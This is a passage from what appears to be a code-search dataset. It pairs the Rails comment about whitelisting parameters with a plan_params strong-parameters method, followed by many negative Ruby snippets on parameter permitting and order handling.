query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Never trust parameters from the scary internet, only allow the white list through.
|
def plan_params
params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Called after_commit for select_order_items
|
def recalc_totals item_status = :current
# Calculate subtotal based on the item_status passed in (defaults to :current)
running_total = Money.new(0)
subtotal_amount = Money.new(order_subtotal(item_status))
running_total = subtotal_amount
# Calculate delivery amount (based on the select event?)
delivery_amount = Money.new(65)
running_total += delivery_amount
# Calculate gratuity
gratuity_amount = calc_gratuity(running_total)
running_total += gratuity_amount
# Calculate tax amount: subtotal + gratuity
tax_amount = calc_tax(running_total)
running_total += tax_amount
# Update total
total_amount = running_total
# Subsidy
subsidy_amount = subsidy total_amount
total_amount -= subsidy_amount
# Return values to caller
{subtotal_amount_cents: subtotal_amount,
gratuity_amount_cents: gratuity_amount,
delivery_amount_cents: delivery_amount,
tax_amount_cents: tax_amount,
subsidy_amount_cents: subsidy_amount,
total_amount_cents: total_amount}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def after_save_new_order\n end",
"def after_commit(unit); end",
"def update_order_item\n \n end",
"def set_order_items\n @order_items = @order.order_items\n end",
"def checkout \n \t@order_items = current_order.order_items\n end",
"def after_save; model.reset_dropdown_cache; super; end",
"def after_commit(*); end",
"def so_update_selects_from_order\n order = params[:order]\n projects = projects_dropdown\n charge_account_id = 0\n store_id = 0\n if order != '0'\n @order = WorkOrder.find(order)\n @project = @order.project\n @charge_account = @order.charge_account\n charge_account_id = @charge_account.id rescue 0\n @store = @order.store\n store_id = @store.id rescue 0\n if @charge_account.blank?\n @charge_account = @project.blank? ? projects_charge_accounts(projects) : charge_accounts_dropdown_edit(@project)\n end\n if @store.blank?\n @store = project_stores(@project)\n end\n else\n @charge_account = projects_charge_accounts(projects)\n @store = stores_dropdown\n end\n @json_data = { \"charge_account\" => @charge_account, \"store\" => @store,\n \"charge_account_id\" => charge_account_id, \"store_id\" => store_id }\n render json: @json_data\n end",
"def si_update_selects_from_order\n o = params[:o]\n project_id = 0\n work_order_id = 0\n charge_account_id = 0\n store_id = 0\n payment_method_id = 0\n if o != '0'\n @purchase_order = PurchaseOrder.find(o)\n if @purchase_order.blank?\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n else\n @order_items = unbilled_order_items_dropdown(@purchase_order)\n @projects = @purchase_order.project.blank? ? [] : Project.where(id: @purchase_order.project.id)\n @work_orders = @purchase_order.work_order.blank? ? [] : WorkOrder.where(id: @purchase_order.work_order.id)\n @charge_accounts = @purchase_order.charge_account.blank? ? [] : ChargeAccount.where(id: @purchase_order.charge_account.id)\n @stores = @purchase_order.store\n @payment_methods = @purchase_order.payment_method\n end\n if @order_items.blank?\n @products = @purchase_order.blank? ? products_dropdown : @purchase_order.organization.products.order(:product_code)\n else\n @products = @purchase_order.products.group(:product_code)\n end\n project_id = @projects.first.id rescue 0\n work_order_id = @work_orders.first.id rescue 0\n charge_account_id = @charge_accounts.first.id rescue 0\n store_id = @stores.id rescue 0\n payment_method_id = @payment_methods.id rescue 0\n else\n @order_items = []\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @payment_methods = payment_methods_dropdown\n @products = products_dropdown\n end\n # Work orders array\n @orders_dropdown = @work_orders.blank? ? [] : work_orders_array(@work_orders)\n # Purchase order items array\n @order_items_dropdown = order_items_array(@order_items)\n # Products array\n @products_dropdown = products_array(@products)\n # Setup JSON\n @json_data = { \"project\" => @projects, \"work_order\" => @orders_dropdown,\n \"charge_account\" => @charge_accounts, \"store\" => @stores,\n \"payment_method\" => @payment_methods, \"product\" => @products_dropdown,\n \"project_id\" => project_id, \"work_order_id\" => work_order_id,\n \"charge_account_id\" => charge_account_id, \"store_id\" => store_id,\n \"payment_method_id\" => payment_method_id, \"note_item\" => @order_items_dropdown }\n render json: @json_data\n end",
"def commit\r\n self.class.commit_orders [self]\r\n end",
"def after_item(item)\n item\n end",
"def update_inventory\n self.order_items.each { |item| item.variant.add_pending_to_customer }\n end",
"def after_complete\n session[:order_id] = nil\n end",
"def after_complete\n session[:order_id] = nil\n end",
"def after_complete\n session[:order_id] = nil\n end",
"def update\n # puts \"params: #{params.to_hash}\"\n return_order_items = JSON.parse(params[:order][:items]) \n\n # puts \"Params: #{return_order_items}\"\n\n @order = Order.find(params[:id])\n\n\n ActiveRecord::Base.transaction do\n return_order_items.each do |item|\n if params[:order].has_key?(:supplier) \n @ordered_item = Item.find_by_id(item[\"id\"].to_i)\n @ordered_item.decrement!(:remaining_quantity, item[\"quantity\"].to_i)\n else\n @ordered_item = Item.find_by_id(item[\"id\"].to_i)\n @ordered_item.increment!(:remaining_quantity, item[\"quantity\"].to_i)\n end\n end\n\n @order.return = true\n if @order.save\n @current_user = current_user\n redirect_to :root, notice: 'Return Order was successfully created.'\n else\n render :new\n end\n end\n\n end",
"def prepare_select\n @group_items = GroupItem.all\n end",
"def on_prepare_commit(unit, aggregates, events); end",
"def set_to_ordered\n self.status = \"ordered\"\n self.save\n end",
"def processOrder\n \n end",
"def set_order\n @item = Order.find(params[:id])\n end",
"def set_order_item\n @order_item = @order.order_items.find(params[:id])\n end",
"def confirm_order\n end",
"def complete_order\n # Get the current user's last order (i.e. the current order)\n @order = @current_user.orders.last\n\n # Invoke an action in order.rb that 'moves' items from a user's cart to the current order\n @order.add_line_items_from_cart @cart\n\n # Invoke action in order.rb that updates stock levels\n @order.update_inventory\n\n # Destroy the user's cart\n @cart.destroy\n\n # Set a flash notification that the order was successful\n flash[:notification] = \"Order successful!!!\"\n\n # Redirect to orders#show\n redirect_to order_path(@order)\n end",
"def set_ordered_item\n @ordered_item = OrderedItem.find(params[:id])\n end",
"def set_ordered_item\n @ordered_item = OrderedItem.find(params[:id])\n end",
"def add_items_to_order\n params[:order][:menu_item_ids]\n \n end",
"def on_prepare_transaction_commit(unit, transaction); end",
"def added_to_basket\n select_size\n choose_quantity \n click_add_to_basket\n end",
"def set_menu_items_order\n @menu_items_order = MenuItemsOrder.find(params[:id])\n end",
"def place_and_complete_kfs_item_order(ordered_by, facility, account = nil, reviewed = false)\n @facility_account = FactoryBot.create(:kfs_facility_account, facility: facility)\n @item = facility.items.create(FactoryBot.attributes_for(:item, facility_account_id: @facility_account.id))\n place_product_order(ordered_by, facility, @item, account)\n\n # act like the parent order is valid\n @order.state = \"validated\"\n\n # purchase it\n @order.purchase!\n\n @order_detail.change_status!(OrderStatus.complete)\n\n od_attrs = {\n actual_cost: 20,\n actual_subsidy: 10,\n price_policy_id: @item_pp.id,\n }\n\n od_attrs[:reviewed_at] = Time.zone.now - 1.day if reviewed\n @order_detail.update_attributes(od_attrs)\n @order_detail\nend",
"def set_ordereditem\n @ordereditem = Ordereditem.find(params[:id])\n end",
"def si_update_product_select_from_order_item\n i = params[:i]\n product_id = 0\n if i != '0'\n @item = PurchaseOrderItem.find(i)\n product_id = @item.blank? ? 0 : @item.product_id\n end\n # Setup JSON\n @json_data = { \"product\" => product_id }\n render json: @json_data\n end",
"def fg_product_item_pack_product_code_search_combo_changed\n\titem_pack_product_code = get_selected_combo_value(params)\n\tsession[:fg_product_search_form][:item_pack_product_code_combo_selection] = item_pack_product_code\n\t@unit_pack_product_codes = FgProduct.find_by_sql(\"Select distinct unit_pack_product_code from fg_products where item_pack_product_code = '#{item_pack_product_code}'\").map{|g|[g.unit_pack_product_code]}\n\t@unit_pack_product_codes.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('fg_product','unit_pack_product_code',@unit_pack_product_codes)%>\n\t\t<img src = '/images/spinner.gif' style = 'display:none;' id = 'img_fg_product_unit_pack_product_code'/>\n\t\t<%= observe_field('fg_product_unit_pack_product_code',:update => 'carton_pack_product_code_cell',:url => {:action => session[:fg_product_search_form][:unit_pack_product_code_observer][:remote_method]},:loading => \"show_element('img_fg_product_unit_pack_product_code');\",:complete => session[:fg_product_search_form][:unit_pack_product_code_observer][:on_completed_js])%>\n\t\t}\n\nend",
"def set_order_item\n @order_item = OrderItem.find(params[:id])\n end",
"def create\n @order = Order.new(order_params)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n # @selectedItems.each do |selectedItem|\n # item = Item.new\n # item.menu = selectedItem.id\n # item.quantity = selectedItems.quantity\n # item.order = @order.id\n # item.save\n # end\n\n #@selectedItems = JSON.parse(params[:selectedItems])\n Rails.logger.debug(\"@selectedItems in create: #{@selectedItems}\")\n end",
"def create\n ordered_item_from_table = OrderedItem.new(passed_parameters_from_items_index)\n order = Order.where(id: ordered_item_from_table.order_id, confirmed: false, user_id: current_user.id).last\n ordered_item_from_db = OrderedItem.where(order_id: order.id, item_id: ordered_item_from_table.item_id).last\n \n if ordered_item_from_db.present?\n item = Item.where(id: ordered_item_from_db.item_id).last\n if item.quantity > 0\n if ordered_item_from_db.update(quantity: ordered_item_from_db.quantity + 1) && item.update(quantity: item.quantity - 1)\n redirect_to items_path\n flash[:notice] = \"Item has been added to your order.\"\n else\n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n else \n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n \n\n else\n @ordered_item = OrderedItem.new(passed_parameters_from_items_index)\n @item = Item.find(@ordered_item.item_id)\n\n if @item.quantity > 0\n @item.quantity -= @ordered_item.quantity\n @item.update(quantity: @item.quantity )\n if @ordered_item.save\n redirect_to items_path\n flash[:notice] = \"Item has been added to your order.\"\n else\n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n \n\n else\n flash[:alert] = \"Something went wrong! Item was not added to the cart\"\n redirect_to items_path\n end\n\n end\n end",
"def up_item \n order_op2(true, @item)\n end",
"def scaffold_select_order(action = :default)\n @scaffold_select_order\n end",
"def order \n @items = Item.all\n @item = Item.find(params[:id])\n end",
"def order_complete\n load_order\n if @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \t@order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def processItemsOrder\n @id = params[:itemID]\n @description = params[:description]\n @price = params[:price]\n @award = params[:award]\n @item = Item.find_by(id: @id)\n \n if @item.save\n head 204\n else\n # test\n render json: @item.to_json, status: 400\n # originally\n #head 400\n end\n end",
"def order_complete\n load_order\n if @order.state == 'canceled'\n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n @order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def set_order_item\n @order_item = OrderItem.find(params[:id])\n end",
"def set_order_item\n @order_item = OrderItem.find(params[:id])\n end",
"def set_order_item\n @order_item = OrderItem.find(params[:id])\n end",
"def set_order_item\n @order_item = OrderItem.find(params[:id])\n end",
"def place_order!()\n if has_order_items?\n order_template = order_object\n order_template = yield order_object if block_given?\n\n @virtual_server.softlayer_client[:Product_Order].placeOrder(order_template)\n end\n end",
"def update_order_of_items\n result = Catalog.do_update_order_of_items(params[:sort_orders])\n \n # return a success message, wouldn't make sense to call this API method as html, but for debugging\n # just return json anyway\n respond_to do |format|\n format.html { render json: result}\n format.json { render json: result}\n end\n end",
"def mark_order_complete\n order_params = (driver_order_params)\n order_params[:payable_attributes][:driver_id] = current_user.customer_id\n if @order.single?\n if( (Time.now >= Time.parse(@order.place_date + ' ' + @order.timeslot.start) || true) && (@order.pending? ) && @order.update(order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n else\n if(@order.update(order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n end\n end",
"def after_commit(model)\n # get the customer\n customer = model.customer\n\n # do a UI update push for this customer\n PUBNUB.publish({\n # NJS - use more secure channel name\n :channel => \"customer_ui_update_available_#{customer.id}\",\n # the actual message is ignored\n :message => \"UI update available\",\n :callback => lambda { |message| puts(message) }\n })\n end",
"def order_complete\n load_order\n if @order.state == 'canceled' \n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \t@order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def call_buy_orders(item)\n buy_orders_copy = Array.new\n @buy_orders.each{ |buy_order| buy_orders_copy << buy_order } #NOTE by urs: need to copy array, because a buy_order deletes itself directly from @buy_orders when done!\n buy_orders_copy.each{ |buy_order|\n buy_order.item_changed(item)\n }\n end",
"def finish\n @order.finish\n render_update @order\n end",
"def si_update_receipt_and_order_select_from_project\n project = params[:order]\n if project != '0'\n @project = Project.find(project)\n @receipt_notes = @project.blank? ? receipts_dropdown : receipts_dropdown_by_project(@project)\n @purchase_orders = @project.blank? ? unbilled_purchase_orders_dropdown : unbilled_purchase_orders_dropdown_by_project(@project)\n else\n @receipt_notes = receipts_dropdown\n @purchase_orders = unbilled_purchase_orders_dropdown\n end\n # Notes array\n @notes_dropdown = notes_array(@receipt_notes)\n # Orders array\n @purchase_orders_dropdown = purchase_orders_array(@purchase_orders)\n # Setup JSON\n @json_data = { \"note\" => @notes_dropdown, \"order\" => @purchase_orders_dropdown }\n render json: @json_data\n end",
"def mark_complete\n ActiveRecord::Base.transaction do\n find_order\n separate_shipment_costs\n assert_refund_adjustments params['refund_items'], true\n @order.update!\n end\n settle_payments_if_desired\n render text: @settlement_results.to_json\n end",
"def before_create \n self.ver = 0\n # set the order value, 1 if first rec or 1+ max\n #SELECT max(\"order\") FROM list_items WHERE list_id = self.list_id\n o = ListItem.maximum('\"order\"', :conditions=>['list_id = ?', self.list_id])\n self.order = o ? o.to_i+1 : 1\n end",
"def item_pack_product_commodity_group_code_changed\n \n\tcommodity_group_code = get_selected_combo_value(params)\n\tsession[:item_pack_product_form][:commodity_group_code_combo_selection] = commodity_group_code\n\t@commodity_codes = ItemPackProduct.commodity_codes_for_commodity_group_code(commodity_group_code)\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('item_pack_product','commodity_code',@commodity_codes)%>\n\t\t<img src = '/images/spinner.gif' style = 'display:none;' id = 'img_item_pack_product_commodity_code'/>\n\t\t<%= observe_field('item_pack_product_commodity_code',:update => 'basic_pack_code_cell',:url => {:action => 'item_pack_product_commodity_code_changed'},:loading => \"show_element('img_item_pack_product_commodity_code');\",:complete => session[:item_pack_product_form][:commodity_code_observer][:on_completed_js])%>\n\t\t}\n\nend",
"def index\n @items = Item.all\n\n set_order\n end",
"def update_order_of_items_bulk\n @catalog = Catalog.find(params[:id])\n result = @catalog.do_update_order_of_items_bulk(params[:item_change][:moved_items], params[:item_change][:before_item]);\n \n # return a success message, wouldn't make sense to call this API method as html, but for debugging\n # just return json anyway\n respond_to do |format|\n format.html { render json: result}\n format.json { render json: result}\n end\n end",
"def populate\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n options = params[:options] || {}\n direccion = params[:direccion]\n aux = variant.product_id\n if aux == 1\n sku = 19\n elsif aux == 2\n sku = 27\n elsif aux == 3\n sku = 40\n elsif aux == 4\n sku = 45\n elsif aux == 5\n sku = 47\n end\n # 2,147,483,647 is crazy. See issue #2695.\n if quantity.between?(1, 2_147_483_647)\n if quantity <= (StockItem.find_by id: aux).count_on_hand\n begin\n order.contents.add(variant, quantity, options)\n rescue ActiveRecord::RecordInvalid => e\n error = e.record.errors.full_messages.join(\", \")\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n else\n error = Spree.t(:please_enter_reasonable_quantity)\n end\n\n if error\n flash[:error] = error\n redirect_back_or_default(spree.root_path)\n else\n total = NuestroProducto.find(aux).precio * quantity\n factura = RestClient.put 'http://moto.ing.puc.cl/facturas/boleta', {:proveedor => '572aac69bdb6d403005fb042', :cliente => 'b2c', :total => total}\n facturaParseada = JSON.parse 